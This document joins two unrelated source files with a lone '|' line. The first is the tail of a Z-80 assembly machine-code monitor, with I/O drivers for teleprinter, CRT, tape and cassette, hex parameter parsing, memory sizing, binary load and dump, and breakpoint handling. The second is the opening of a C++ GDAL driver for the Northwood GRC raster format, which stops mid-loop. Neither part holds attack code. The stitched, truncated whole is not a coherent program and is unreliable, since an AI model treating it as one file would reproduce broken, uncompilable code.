LD A,B ;TEST DELIMITER
CP CR
RET Z ;CR ENTERED, ALL DONE
XAM5: BIT 7,(HL) ;SEE IF END OF TABLE
RET NZ ;RETURN IF SO
JR XAM2
XAM6: CALL CRLF
XAM7: CALL BLK
LD A,(HL)
INC HL
OR A
RET M
LD C,A
CALL CO
LD C,'='
CALL CO
LD A,(HL)
LD B,A ;SAVE FLAGS
AND 3FH ;CLEAR UP FOR OFFSET
INC HL
EX DE,HL
LD L,A
LD H,0
ADD HL,SP
EX DE,HL
BIT 6,B ;TEST FOR SPECIAL "M"
JR NZ,XAM9 ;PRINT OUT ACTUAL "M"
LD A,(DE)
CALL LBYTE ;PRINT REG. VALUE
BIT 7,B ;SINGLE OR DOUBLE?
JR Z,XAM7 ;SINGLE.
DEC DE
LD A,(DE)
XAM8: CALL LBYTE
JR XAM7
XAM9: PUSH HL ;SAVE HL
LD A,(DE) ;GET REG. POINTER
LD H,A ;HIGH BYTE
DEC DE
LD A,(DE)
LD L,A ;LOW BYTE
LD A,(HL) ;GET VALUE
POP HL ;RESTORE HL
JR XAM8 ;PRINT VALUE & CONTINUE
;
; THIS IS A MESSAGE OUTPUT ROUTINE.
; IT IS USED BY THE SIGN-ON AND THE CRLF.
; POINTER IS IN HL (WHEN ENTERED AT
; TOM1) AND LENGTH IN B REG.
;
TOM: LD HL,MSG
TOM1: LD C,(HL) ;GET A CHARACTER
INC HL ;MOVE POINTER
CALL CO ;OUTPUT IT
DJNZ TOM1 ;KEEP GOING TILL B=0
CALL CSTS ;SEE IF AN ABORT REQUEST
OR A ; WAITING
RET Z ;NO.
;
; SEE IF CONTROL-C IS WAITING
; ABORT IF SO.
;
CCHK: CALL KI
CP 3 ;CONTROL-C?
RET NZ
;
; SYSTEM ERROR ROUTINE. THIS
; WILL RESTORE THE SYTEM AFTER
; A SYSTEM ERROR HAS BEEN TAKEN.
; THE I/O CONFIGURATION IS NOT
; AFFECTED.
;
ERROR: CALL MEMSIZ
LD DE,-22 ;STACK POINTER OFFSET
ADD HL,DE
LD SP,HL
LD C,'*' ;ANNOUNCE ERROR
CALL CO
JP START ;BACK TO WORK
;
; THIS GETS A READER CHARACTER,
; AND COMPARES IT WITH THE 'D' REG.
; IT ABORTS ON AN 'OUT-OF-DATA'
; CONDITION.
;
RIFF: CALL RI ;GET READER CHARACTER
JR C,ERROR ;ABORT ON CARRY
CP D ;TEST D
RET
;
; THIS ROUTINE WILL RETURN THE
; CURRENT VALUE OF THE HIGHEST
; READ/WRITE MEMORY LOCATION THAT
; IS AVAILABLE ON THE SYSTEM.
; IT WILL "SEARCH" FOR MEMORY
; STARTING AT THE BOTTOM OF MEMORY
; AND GO UPWARDS UNTIL NON-R/W MEMORY
; IS FOUND.
;
SIZE: CALL MEMSIZ ;GET THE VALUE
LD BC,ENDX-EXIT
ADD HL,BC ;ADJUST IT
;
;
; CRLF BEFORE HLSP ROUTINE
;
LFADR: CALL CRLF
;
; PRINT THE CURRENT VALUE OF H&L,
; AND A SPACE.
;
HLSP: CALL LADR
;
; PRINT A SPACE ON THE CONSOLE
;
BLK: LD C,' '
;
; THIS IS THE MAIN CONSOLE
; OUTPUT ROUTINE
;
CO: CALL IOCHK
AND ~CMSK
JR NZ,CO0
;
; TELEPRINTER CONFIGURATION
; I/O DRIVER.
;
TTYOUT: IN A,(TTS)
AND TTYBE
JR Z,TTYOUT
LD A,C
OUT (TTO),A
RET
CO0: DEC A ;CCRT?
JR NZ,CO1 ; NO.
;
; C.R.T. CONFIGURATION DRIVER.
;
CRTOUT: IN A,(CRTS)
AND CRTBE
JR NZ,CRTOUT
LD A,C
OUT (CRTO),A
RET
;
CO1: DEC A ;BATCH
JP NZ,COLOC ; NO, MUST BE USER
;
; LIST OUTPUT DRIVER ROUTINE
; -A USER VECTORED ROUTINE, USED
; BY THE ASSEMBLER, ETC. ALSO,
; WHEN THE ASSIGNED MODE IS "BATCH",
; THIS IS THE ROUTINE USED FOR THE
; MONITOR OUTPUT THAT WOULD NORMALLY
; GO TO THE "CONSOLE".
;
LO: CALL IOCHK
AND ~LMSK
JR Z,TTYOUT
CP LCRT
JR Z,CRTOUT
CP LINE
JP Z,LNLOC ;EXTERNAL VECTOR
JP LULOC ;USER DEFINED VECTOR
;
; SEND CRLF TO PUNCH DEVICE
;
PEOL: LD C,CR
CALL PUO
LD C,LF
;
; PUNCH OUTPUT DRIVER ROUTINE
;
PUO: CALL IOCHK
AND ~PMSK
JR Z,TTYOUT ;PUNCH=TELEPRINTER
CP PCAS ;CASSETTE?
JR NZ,PO1 ; NO.
;
PO0: IN A,(PCASS) ;CASSETTE DRIVER
AND PCSBE
JR NZ,PO0
LD A,C
OUT (PCASO),A
RET
;
PO1: CP PPTP
JP Z,PTPL ;EXTERNAL VECTOR
JP PULOC ;USER VECTOR
;
;
; THIS IS A BINARY DUMP ROUTINE THAT MAY BE
; USED WITH BOTH PAPER-TAPE AND/OR CASSETTE
; SYSTEMS. IT PUNCHES A START-OF-FILE MARK
; AND THEN PUNCHES IN FULL 8-BITS DIRECTLY
; FROM MEMORY. IT IS FOLLOWED BY AN END-OF-
; FILE MARKER. THESE DUMPS MAY BE LOADED
; USING THE "L" COMMAND. THEY ARE USEFUL
; FOR FAST LOADING, AND MAY BE VERIFIED
; USING THE "C" (COMPARE) COMMAND.
;
; U<A1>,<A2>[CR]
; PUNCHES FROM <A1> THRU <A2>
;
UNLD: CALL EXLF ;GET TWO PARAMETERS
CALL WAIT ;PAUSE FOR PUNCH-ON (TTY)
CALL LEAD ;PUNCH LEADER
CALL MARK ;PUNCH FILE MARKER
UNL: LD C,(HL) ;GET MEMORY BYTE
CALL PUO ;PUNCH IT
CALL HILO ;SEE IF DONE
JR NC,UNL
CALL MARK ;PUNCH END OF FILE MARKER
;
; THIS PUNCHES NULLS (LEADER/TRAILER).
; IT RETURNS "QUIET" IN CASE THE PUNCH
; AND CONSOLE ARE THE SAME.
;
NULL: CALL LEAD ;PUNCH NULLS
;
; THIS ROUTINE WILL PAUSE FOR
; A KEYBOARD CHARACTER. IT IS
; USED AS A DELAY TO GIVE THE
; OPERATOR TIME TO TURN ON THE
; TELEPRINTER PUNCH BEFORE SENDING
; A HEX FILE OR BINARY FILE TO
; THE PUNCH. IT WILL SIMPLY
; RETURN IF THE PUNCH & CONSOLE
; ARE NOT BOTH ASSIGNED TO THE
; DEFAULT. (TELEPRINTER)
;
WAIT: CALL IOCHK
AND ~CMSK | ~PMSK
RET NZ
JP STARO ;RETURN "QUIET"
;
; CONVERT HEX TO ASCII
;
CONV: AND 0FH ;LOW NIBBLE ONLY
ADD A,90H
DAA
ADC A,40H
DAA
LD C,A
RET
;
; GET TWO PARAMETERS, PLACE
; THEM IN DE & HL, AND THEN
; CRLF.
;
EXLF: CALL EXPR
POP DE
POP HL
;
; CONSOLE CARRIAGE RETURN &
; LINE FEED ROUTINE.
;
; THE NUMBER OF FILL CHARACTERS
; MAY BE ADJUSTED TO 0-3 BY THE
; VALUE PLACED IN THE B REG. MINIMUM
; VALUE FOR "B" IS TWO (2). MAXIMUM
; IS FIVE (5).
;
CRLF: PUSH HL ;SAVE HL
LD B,4 ;CRLF LENGTH (SET FOR 2 FILLS)
CALL TOM ;SEND CRLF
POP HL
RET
;
; TEST THE CURRENT CONSOLES
; KEYBOARD FOR A KEY-PRESS.
; RETURN TRUE (0FFH IN A REG)
; IF THERE IS A CHARACTER
; WAITING IN THE UART.
;
CSTS: CALL IOCHK
AND ~CMSK
JR NZ,CS0
IN A,(TTS)
JR CS1
CS0: DEC A ;CCRT
JR NZ,CS3
IN A,(CRTS)
CS1: AND TTYDA
LD A,FALSE
CS2: RET Z
CPL
RET
CS3: DEC A ;BATCH
RET Z
JP CSLOC ;USER DEFINED FUNCTION
;
; GET THREE PARAMETERS AND
; CRLF.
;
EXPR3: INC C
CALL EXPR
CALL CRLF
POP BC
POP DE
POP HL
RET
;
; GET ONE PARAMETER.
; NO CRLF.
;
EXPR1: LD C,1
;
; THIS IS THE MAIN "PARAMETER-GETTING" ROUTINE.
; THIS ROUTINE WILL ABORT ON A NON-HEX CHARACTER.
; IT TAKES THE MOST RECENTELY TYPED FOUR VALID
; HEX CHARACTERS, AND PLACES THEM UP ON THE STACK.
; (AS ONE 16 BIT VALUE, CONTAINED IN TWO
; 8-BIT BYTES.) IF A CARRIAGE RETURN IS ENTERED,
; IT WILL PLACE THE VALUE OF "0000" IN THE STACK.
;
EXPR: LD HL,0 ;INITIALIZE HL TO ZERO
EX0: CALL TI ;GET SOMETHING FROM CONSOLE
EX1: LD B,A ;SAVE IT
CALL NIBBLE ;CONVERT ASCII TO HEX
JR C,EX2 ;ILLEGAL CHARACTER DECTECTED
ADD HL,HL ;MULTIPLY BY 16
ADD HL,HL
ADD HL,HL
ADD HL,HL
OR L ;OR IN THE SINGLE NIBBLE
LD L,A
JR EX0 ;GET SOME MORE
EX2: EX (SP),HL ;SAVE UP IN STACK
PUSH HL ;REPLACE THE RETURN
LD A,B ;TEST THE DELIMITER
CALL QCHK
JR NC,EX3 ;CR ENTERED
DEC C ;SHOULD GO TO ZERO
RET Z ; RETURN IF IT DOES
EX3: JP NZ,ERROR ;SOMETHING WRONG
DEC C ;DO THIS AGAIN?
JR NZ,EXPR ; YES.
RET ;ELSE RETURN
EXF: LD C,1
LD HL,0
JR EX1
;
; RANGE TESTING ROUTINES.
; CARRY SET INDICATES RANGE EXCEEDED.
;
HILOX: CALL HILO
RET NC ;OK
POP DE ;RETURN ONE LEVEL BACK
RET
;
HILO: INC HL ;INCREMENT HL
LD A,H ;TEST FOR CROSSING 64K BORDER
OR L
SCF ;CARRY SET=STOP
RET Z ;YES, BORDER CROSSED
LD A,E ;NOW, TEST HL VS. DE
SUB L
LD A,D
SBC A,H
RET ;IF CARRY WAS SET, THEN STOP
;
; HEXADECIMAL MATH ROUTINE
;
; THIS ROUTINE IS USEFUL FOR
; DETERMINING RELATIVE JUMP
; OFFSETS. IT RETURNS THE SUM
; & DIFFERENCE OF TWO PARAMETERS.
;
; H<X>,<Y>
;
; X+Y X-Y
;
HEXN: CALL EXLF
PUSH HL ;SAVE HL FOR LATER
ADD HL,DE ;GET SUM
CALL HLSP ;PRINT IT
POP HL ;THIS IS LATER
OR A ;CLEAR CARRY
SBC HL,DE ;GET DIFFERENCE & PRINT IT
;
; PRINT H&L ON CONSOLE
;
LADR: LD A,H
CALL LBYTE
LD A,L
LBYTE: PUSH AF
RRCA
RRCA
RRCA
RRCA
CALL LAD
POP AF
LAD: CALL CONV
JP CO
; THIS ROUTINE SENDS EIGHT RUBOUTS
; TO THE PUNCH DEVICE.
;
MARK: LD BC,08FFH ;SET-UP B&C
JR LE0
;
; THIS ROUTINE SENDS BLANKS TO THE
; PUNCH DEVICE.
;
LEAD: LD BC,4800H ;PRESET SOME NULLS
LE0: CALL PUO
DJNZ LE0
RET
;
; THIS ROUTINE RETURNS TO A USER
; PROGRAM THE CURRENT TOP OF
; MEMORY VALUE MINUS WORKSPACE
; AREA USED BY THE MONITOR.
;
MEMCK: PUSH HL
CALL MEMSIZ
LD A,L
SUB 2CH
JR NC,MEMC
DEC H
MEMC: LD B,H
POP HL
RET
;
; THIS IS A CALLED ROUTINE USED
; TO CALCULATE THE TOP OF MEMORY
; STARTING FROM THE BOTTOM OF
; MEMORY, AND SEARCHING UPWARD UNTIL
; FIRST R/W MEMORY IS FOUND, AND THEN
; CONTINUING UNTIL THE END OF THE R/W
; MEMORY. THIS ALLOWS R.O.M. AT ZERO,
; AND INSURES A CONTINUOUS MEMORY BLOCK
; HAS BEEN FOUND.
; IT IS USED BY THE ERROR ROUTINE TO
; RESET THE STACK POINTER AS WELL.
;
MEMSIZ: PUSH BC
LD BC,BASE ;POINT TO START OF MONITOR
LD HL,-1 ;RAM SEARCH STARTING PT.
MEM0: INC H ;FIRST FIND R/W MEMORY
LD A,(HL)
CPL
LD (HL),A
CP (HL)
CPL
LD (HL),A
JR NZ,MEM0
MEM1: INC H ;R/W FOUND, NOW FIND END
LD A,(HL)
CPL
LD (HL),A
CP (HL)
CPL
LD (HL),A
JR NZ,MEM2
LD A,H ;TEST FOR MONITOR BORDER
CP B
JR NZ,MEM1 ;NOT THERE YET
MEM2: DEC H ;BACK UP, SUBTRACT WORKSPACE
LD BC,EXIT-ENDX
ADD HL,BC
POP BC ;RESTORE BC
RET ;VALUE IN HL
;
;
RIBBLE: CALL RIX
NIBBLE: SUB '0' ;QUALIFY & CONVERT
RET C ;<0
CP 'G'-'0' ;>F?
CCF ;PERVERT CARRY
RET C
CP 10 ;NMBR?
CCF ;PERVERT AGAIN
RET NC ;RETURN CLEAN
SUB 'A'-'9'-1 ;ADJUST
CP 0AH ;FILTER ":" THRU "@"
RET
;
; SEND H&L VALUE TO PUNCH DEVICE
;
PADR: LD A,H
CALL PBYTE
LD A,L
;
; PUNCH A SINGLE BYTE
;
PBYTE: PUSH AF ;NIBBLE AT A TIME
RRCA
RRCA
RRCA
RRCA
CALL CONV
CALL PUO
POP AF ;NEXT NIBBLE
PUSH AF ;SAVE FOR CHECKSUM
CALL CONV
CALL PUO
POP AF ;ORIGINAL BYTE HERE
ADD A,D ;ADDED TO CHECKSUM
LD D,A ;UPDATE CHECKSUM
RET
;
;
COPCK: LD C,'-' ;PROMPT FOR CONSOLE
CALL CO
;
PCHK: CALL TI
;
; TEST FOR DELIMITERS
;
QCHK: CP ' ' ;RETURN ZERO IF DELIMITER
RET Z
CP ','
RET Z
CP CR ;RETURN W/CARRY SET IF CR
SCF
RET Z
CCF ;ELSE NON-ZERO, NO CARRY
RET
;
; MAIN CONSOLE INPUT ROUTINE
;
CI: CALL IOCHK
AND ~CMSK
JR NZ,CI1
;
; TELEPRINTER ROUTINE
;
TTYIN: IN A,(TTS)
AND TTYDA
JR Z,TTYIN
IN A,(TTI)
RET
;
CI1: DEC A ;CONSOLE=CRT?
JR NZ,CI2
;
; C.R.T. INPUT ROUTINE
;
CRTIN: IN A,(CRTS)
AND CRTDA
JR Z,CRTIN
IN A,(CRTI)
RET
;
CI2: DEC A ;BATCH?
JP NZ,CILOC ;NO, MUST BE USER DEFINED
;
;
; READER INPUT ROUTINE, WITH
; TIME-OUT DELAY. INCLUDES
; PULSING OF HARDWARE PORT
; TO INDICATE REQUEST FOR
; READER DATA.
;
RI: PUSH HL
CALL IOCHK
AND ~RMSK
; CPL
; OUT (RCP),A ;PULSE READER CONTROL PORT
; CPL ;CLEAR IT
; OUT (RCP),A
JR NZ,RI3 ;NOT TTY
LD H,A ;CLEAR FOR-TIME OUT TEST
RI0: IN A,(TTS)
AND TTYDA
JR NZ,RI2
PUSH BC
LD B,0
DL0: EX (SP),HL ;WASTE TIME
EX (SP),HL ;FOR DELAY
DJNZ DL0
POP BC
DEC H
JR NZ,RI0
RI1: XOR A
SCF
POP HL
RET
RI2: IN A,(TTI)
RID: OR A
POP HL
RET
RI3: CP RCAS
JR NZ,RI6
IN A,(SWITCH) ;READ INITIAL SENSE CONDX.
LD L,A
RI4: IN A,(SWITCH) ;SEE IF SW. ALTERED
CP L
JR NZ,RI1 ;ABORT IF SO
IN A,(RCSS) ;CASSETTE INPUT DRIVER
AND RCSDA ;DATA YET?
JR NZ,RI4 ;KEEP LOOKING
RI5: IN A,(RCSD)
JR RID
RI6: POP HL
CP RPTR
JP Z,RPTPL ;EXTERNAL ROUTINE
JP RULOC ;USER VECTOR
;
; THIS ROUTINE GETS READER INPUT
; AND KILLS THE PARITY BIT.
;
RIX: CALL RIFF
AND 7FH
RET
;
; THIS ROUTINE READS A BINARY FILE
; IMAGE, IN THE FORM AS PUNCHED IN
; THE "U" (UNLOAD) COMMAND. IT TAKES
; ONE PARAMETER, WHICH IS THE STARTING
; ADDRESS OF THE LOAD, AND WILL PRINT
; THE LAST ADDRESS (+1) LOADED ON THE
; CONSOLE DEVICE.
;
LOAD: CALL EXPR1 ;INITIAL LOAD ADDRESS
POP HL
CALL CRLF
LD D,0FFH ;START-OF-FILE TAG
LOAD0: LD B,4 ;FIND AT LEAST FOUR 0FFH'S
LOAD1: CALL RIFF
JR NZ,LOAD0
DJNZ LOAD1
LOAD2: CALL RIFF ;4 FOUND, NOW WAIT FOR NON-0FFH
JR Z,LOAD2
LD (HL),A ;FIRST REAL DATA BYTE
LD A,BELL ;TELL TTY
OUT (TTO),A
LOAD3: INC HL
CALL RIFF
JR Z,ELOA ;POSSIBLE END OF FILE
LD (HL),A
JR LOAD3
ELOA: LD E,1 ;INITIALIZE
ELOA0: CALL RIFF
JR NZ,ELOA1
INC E ;COUNT QUES
LD A,MAX ;LOOK FOR EOF
CP E ;FOUND MAX?
JR NZ,ELOA0 ;NOPE
JP LADR ;YEP, PRINT END ADDR
ELOA1: LD (HL),D
INC HL
DEC E ;RESTORE
JR NZ,ELOA1
LD (HL),A ;REAL BYTE
JR LOAD3
;
; THIS IS THE BREAKPOINT "TRAP" HANDLING
; ROUTINE. ALL USER REGISTERS ARE SAVED
; FOR DISPLAY PURPOSES, AND THE CONTENTS
; ARE RESTORED WHEN EXECUTING A "GO" (G)
; COMMAND.
;
RESTART:
PUSH HL ;PUSH ALL REGISTERS
PUSH DE
PUSH BC
PUSH AF
CALL MEMSIZ ;GET MONITOR'S STACK VALUE
EX DE,HL
LD HL,10 ;GO UP 10 BYTES IN STACK
ADD HL,SP
LD B,4 ;PICK OFF REG.
EX DE,HL
RES0: DEC HL
LD (HL),D ;SAVE IN WORKAREA
DEC HL
LD (HL),E
POP DE
DJNZ RES0
POP BC
DEC BC ;ADJUST P.C. VALUE
LD SP,HL ;SET MONITOR STACK
LD HL,TLOCX
ADD HL,SP
LD A,(HL)
SUB C ;LOOK FOR A TRAP/MATCH
INC HL
JR NZ,RES1
LD A,(HL)
SUB B
JR Z,RES3 ;NO TRAP HERE
RES1: INC HL
INC HL
LD A,(HL)
SUB C ;TEST FOR SECOND TRAP
JR NZ,RES2
INC HL
LD A,(HL)
SUB B
JR Z,RES3
RES2: INC BC ;NO TRAPS SET, RE-ADJUST P.C.
RES3: LD HL,LLOCX
ADD HL,SP
LD (HL),E ;STORE USER H&L
INC HL
LD (HL),D
INC HL
INC HL
LD (HL),C ;AND USER P.C.
INC HL
LD (HL),B
PUSH BC
LD C,'@' ;DISPLAY BREAK ADDRESS.
CALL CO
POP HL
CALL LADR
LD HL,TLOCX
ADD HL,SP
LD BC,200H
RES4: LD E,(HL) ;REPLACE BYTES TAKEN FOR TRAP
LD (HL),C ;ZERO OUT STORAGE AREA
INC HL
LD D,(HL)
LD (HL),C
INC HL
LD A,E
OR D ;DO NOTHING IF ZERO
JR Z,RES5
LD A,(HL)
LD (DE),A ;STORE BYTE
RES5: INC HL ;SAME THING
DJNZ RES4 ;FOR OTHER BREAKPOINT
EX AF,AF' ;GET ALTERNATE SET OF REG.'S
EXX
PUSH HL ;AND STORE IN WORKSPACE
PUSH DE
PUSH BC
PUSH AF
PUSH IX
PUSH IY
LD A,I ;GET INTERUPT VECTOR BYTE
LD B,A
LD A,R ;GET REFRESH BYTE
LD C,A
PUSH BC ;SAVE
JP START ;BACK TO START
;
; THIS IS THE INTERNAL KEYBOARD
; HANDLING ROUTINE. IT WILL IGNORE
; RUBOUTS (0FFH) AND BLANKS (00),
; AND IT WILL NOT ECHO CR'S & N'S.
; (NO N'S FOR THE "NULL" COMMAND).
; IT CONVERTS LOWER CASE TO UPPER
; CASE FOR THE LOOK-UP OF COMMANDS.
;
; OTHER CHARACTERS ARE ECHOED AS THEY
; ARE RECEIVED.
;
KI: CALL CI ;GET CHARACTER FROM CONSOLE
AND 7FH ;CLEAR PARITY BIT
RET
;
TI: CALL KI
INC A ;IGNORE RUBOUTS
RET M
DEC A ;IGNORE NULLS
RET Z
CP 'N' ;IGNORE N'S FOR NULL CMND
RET Z
CP 'n'
JR Z,TI0
CP CR ;IGNORE CR'S
RET Z
PUSH BC
LD C,A
CALL CO
LD A,C
POP BC
CP 'A'-1 ;CONVERT TO UPPER CASE
RET C
CP 'z'+1
RET NC
TI0: AND 05FH
RET
;
; THIS ROUTINE ALLOWS EXAMINATION OF
; ANY INPUT PORT, OR THE SENDING OF
; ANY VALUE TO ANY PORT.
;
; QO<N>,<V>[CR]
; OUTPUT TO PORT <N>, THE VALUE <V>
;
; QI<N>[CR]
; DISPLAY THE PORT <N>
;
QUERY: CALL TI
CP 'O'
JR Z,QUO
CP 'I'
JP NZ,ERROR
CALL EXPR1
POP BC
IN E,(C)
BITS: LD B,8 ;DISPLAY 8 BITS
CALL BLK
QUE2: SLA E
LD A,'0'>1
ADC A,A ;MAKE "0" OR "1"
LD C,A
CALL CO
DJNZ QUE2
RET
QUO: CALL EXPR
POP DE
POP BC
OUT (C),E
RET
;
; THIS ROUTINE VERIFIES THE CONTENTS
; OF ONE MEMORY BLOCK WITH ANOTHER.
;
; V<ADDR1>,<ADDR2>,<ADDR3>
; VERIFY FROM <1> THRU <2> WITH
; THE CONTENTS OF MEMORY BEGINNING AT <3>
;
VERIFY: CALL EXPR3 ;GET 3 PARAMETERS
VERI0: LD A,(BC)
CP (HL)
JR Z,VERI1
PUSH BC
CALL CERR ;DISPLAY ERRORS
POP BC
VERI1: INC BC
CALL HILOX
JR VERI0
;
; <SYSTEM I/O LOOK-UP TABLE>
;
; THE FIRST CHARACTER IS THE DEVICE NAME
; (ONE LETTER) AND THE NEXT FOUR ARE THE
; NAMES OF THE FOUR POSSIBLE DRIVERS TO BE
; ASSIGNED.
;
LTBL:
DEFB 'C' ;CONSOLE ASSIGNMENTS
DEFB 'T' ;CTTY T=TELEPRINTER
DEFB 'C' ;CCRT C=CRT (VIDEO MONITOR)
DEFB 'B' ;BATCH= COMMANDS FROM READER
DEFB 'U' ;CUSE USER
;
DEFB 'R' ;READER ASSIGNMENTS
DEFB 'T' ;RTTY
DEFB 'P' ;RPTR P=PAPER TAPE
DEFB 'C' ;RCAS C=CASSETTE
DEFB 'U' ;RUSER USER
;
DEFB 'P' ;PUNCH ASSIGNMENTS
DEFB 'T' ;PTTY
DEFB 'P' ;PPTP
DEFB 'C' ;PCAS C=CASSETTE
DEFB 'U' ;PUSER USER
;
DEFB 'L' ;LIST ASSIGNMENTS
DEFB 'T' ;LTTY LIST=TELEPRINTER
DEFB 'C' ;LCRT LIST=CRT
DEFB 'L' ;LINE PRINTER
DEFB 'U' ;LUSER USER
;
;
; THIS IS A SHORT PROGRAM, EXECUTED
; UPON EXECUTING A "GO" COMMAND. IT
; IS PLACED IN THE WORK AREA WHEN
; THE MONITOR IS INITIALIZED, AS IT
; REQUIRES RAM FOR PROPER OPERATION.
;
EXIT: ;EXIT ROUTINE (LOADS ALL REGISTERS)
POP BC
LD A,C
LD R,A
LD A,B
LD I,A
POP IY
POP IX
POP AF
POP BC
POP DE
POP HL
EX AF,AF'
EXX
POP DE
POP BC
POP AF
POP HL
LD SP,HL
NOP ;RESERVED FOR ENABLE INTERUPTS
LD HL,0
JP 0
;
DEFW 0 ;STORAGE AREA FOR TRAP DATA
DEFB 0
DEFW 0
DEFB 0
;
; DISPLACEMENTS OF REGISTER
; STORAGE FROM NORMAL STACK
; LOCATION.
;
ENDX:
;
ALOC EQU 15H
BLOC EQU 13H
CLOC EQU 12H
DLOC EQU 11H
ELOC EQU 10H
FLOC EQU 14H
HLOC EQU 31H
LLOC EQU 30H
PLOC EQU 34H
SLOC EQU 17H
TLOC EQU 35H
TLOCX EQU 25H
LLOCX EQU 20H
;
APLOC EQU 09H
BPLOC EQU 0BH
CPLOC EQU 0AH
DPLOC EQU 0DH
EPLOC EQU 0CH
FPLOC EQU 08H
HPLOC EQU 0FH
LPLOC EQU 0EH
XLOC EQU 07
YLOC EQU 05
RLOC EQU 02
ILOC EQU 03
;
;
; THIS IS THE TABLE USED TO DETERMINE
; A VALID REGISTER IDENTIFIER, AND IT'S
; DISPLACEMENT FROM THE STACK POINTER.
;
; POSITION ONE= REGISTER NAME, WITH BIT 7 INDICATING
; END OF TABLE.
;
; POSITION TWO= BIAS FROM CURRENT STACK LEVEL OR'ED
; WITH A TWO-BIT FLAG. 00XXXXXX=BYTE
; 10XXXXXX=WORD
; 11XXXXXX=SPECIAL FOR "M" REG.
;
ACTBL: ;NORMAL SET OF REGISTERS (8080)
; ;PLUS THE INTERUPT REGISTER ("I")
;
DEFB 'A',ALOC | 0
DEFB 'B',BLOC | 0
DEFB 'C',CLOC | 0
DEFB 'D',DLOC | 0
DEFB 'E',ELOC | 0
DEFB 'F',FLOC | 0
DEFB 'H',HLOC | 0
DEFB 'L',LLOC | 0
DEFB 'M',HLOC | 0C0H
DEFB 'P',PLOC | 080H
DEFB 'S',SLOC | 080H
DEFB 'I',ILOC | 0
DEFB 80H
;
PRMTB: ;ADDITIONAL SET OF REGISTERS (Z-80)
;
DEFB 'A',APLOC | 0
DEFB 'B',BPLOC | 0
DEFB 'C',CPLOC | 0
DEFB 'D',DPLOC | 0
DEFB 'E',EPLOC | 0
DEFB 'F',FPLOC | 0
DEFB 'H',HPLOC | 0
DEFB 'L',LPLOC | 0
DEFB 'M',HPLOC | 0C0H
DEFB 'X',XLOC | 080H
DEFB 'Y',YLOC | 080H
DEFB 'R',RLOC | 0
DEFB 80H
;
Z:
;END OF PROGRAM
;
;
END
|
/******************************************************************************
*
* Project: GRC Reader
* Purpose: GDAL driver for Northwood Classified Format
* Author: Perry Casson
*
******************************************************************************
* Copyright (c) 2007, Waypoint Information Technology
* Copyright (c) 2009-2012, Even Rouault <even dot rouault at spatialys.com>
*
* Permission is hereby granted, free of charge, to any person obtaining a
* copy of this software and associated documentation files (the "Software"),
* to deal in the Software without restriction, including without limitation
* the rights to use, copy, modify, merge, publish, distribute, sublicense,
* and/or sell copies of the Software, and to permit persons to whom the
* Software is furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included
* in all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
* OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
* THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
* FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER
* DEALINGS IN THE SOFTWARE.
****************************************************************************/
#include "gdal_frmts.h"
#include "gdal_pam.h"
#include "northwood.h"
#ifdef MSVC
#include "..\..\ogr\ogrsf_frmts\mitab\mitab.h"
#else
#include "../../ogr/ogrsf_frmts/mitab/mitab.h"
#endif
CPL_CVSID("$Id$")
/************************************************************************/
/* ==================================================================== */
/* NWT_GRCDataset */
/* ==================================================================== */
/************************************************************************/
class NWT_GRCRasterBand;
class NWT_GRCDataset final : public GDALPamDataset
{
friend class NWT_GRCRasterBand;
private:
VSILFILE * fp;
GByte abyHeader[1024];
NWT_GRID *pGrd;
char **papszCategories;
char *pszProjection;
NWT_GRCDataset(const NWT_GRCDataset&) = delete;
NWT_GRCDataset& operator= (const NWT_GRCDataset&) = delete;
protected:
GDALColorTable * poColorTable;
public:
NWT_GRCDataset();
~NWT_GRCDataset();
static GDALDataset *Open( GDALOpenInfo * );
static int Identify( GDALOpenInfo * poOpenInfo );
CPLErr GetGeoTransform( double *padfTransform ) override;
const char *_GetProjectionRef() override;
const OGRSpatialReference* GetSpatialRef() const override {
return GetSpatialRefFromOldGetProjectionRef();
}
};
/************************************************************************/
/* ==================================================================== */
/* NWT_GRCRasterBand */
/* ==================================================================== */
/************************************************************************/
class NWT_GRCRasterBand final : public GDALPamRasterBand
{
friend class NWT_GRCDataset;
public:
NWT_GRCRasterBand( NWT_GRCDataset *, int );
virtual ~NWT_GRCRasterBand();
virtual CPLErr IReadBlock( int, int, void * ) override;
virtual double GetNoDataValue( int *pbSuccess ) override;
virtual GDALColorInterp GetColorInterpretation() override;
virtual char **GetCategoryNames() override;
virtual GDALColorTable *GetColorTable() override;
};
/************************************************************************/
/* NWT_GRCRasterBand() */
/************************************************************************/
NWT_GRCRasterBand::NWT_GRCRasterBand( NWT_GRCDataset * poDSIn, int nBandIn )
{
poDS = poDSIn;
nBand = nBandIn;
NWT_GRCDataset *poGDS = cpl::down_cast<NWT_GRCDataset *>( poDS );
if( poGDS->pGrd->nBitsPerPixel == 8 )
eDataType = GDT_Byte;
else if( poGDS->pGrd->nBitsPerPixel == 16 )
eDataType = GDT_UInt16;
else /* if( poGDS->pGrd->nBitsPerPixel == 32 ) */
eDataType = GDT_UInt32; // this would be funny
nBlockXSize = poDS->GetRasterXSize();
nBlockYSize = 1;
// load the color table and might as well to the ClassNames
poGDS->poColorTable = new GDALColorTable();
GDALColorEntry oEntry = { 255, 255, 255, 0 };
// null value = 0 is transparent
// alpha 0 = transparent
poGDS->poColorTable->SetColorEntry( 0, &oEntry );
for( int i = 0;
i < static_cast<int>( poGDS->pGrd->stClassDict->nNumClassifiedItems );
i++ )
{
oEntry.c1 = poGDS->pGrd->stClassDict->stClassifiedItem[i]->r;
oEntry.c2 = poGDS->pGrd->stClassDict->stClassifiedItem[i]->g;
oEntry.c3 = poGDS->pGrd->stClassDict->stClassifiedItem[i]->b;
oEntry.c4 = 255; // alpha 255 = solid
poGDS->poColorTable->SetColorEntry( poGDS->pGrd->
stClassDict->stClassifiedItem[i]->
usPixVal, &oEntry );
}
// find the max value used in the grc
int maxValue = 0;
for( int i=0; i < static_cast<int>( poGDS->pGrd->stClassDict->nNumClassifiedItems ); i++ )
{
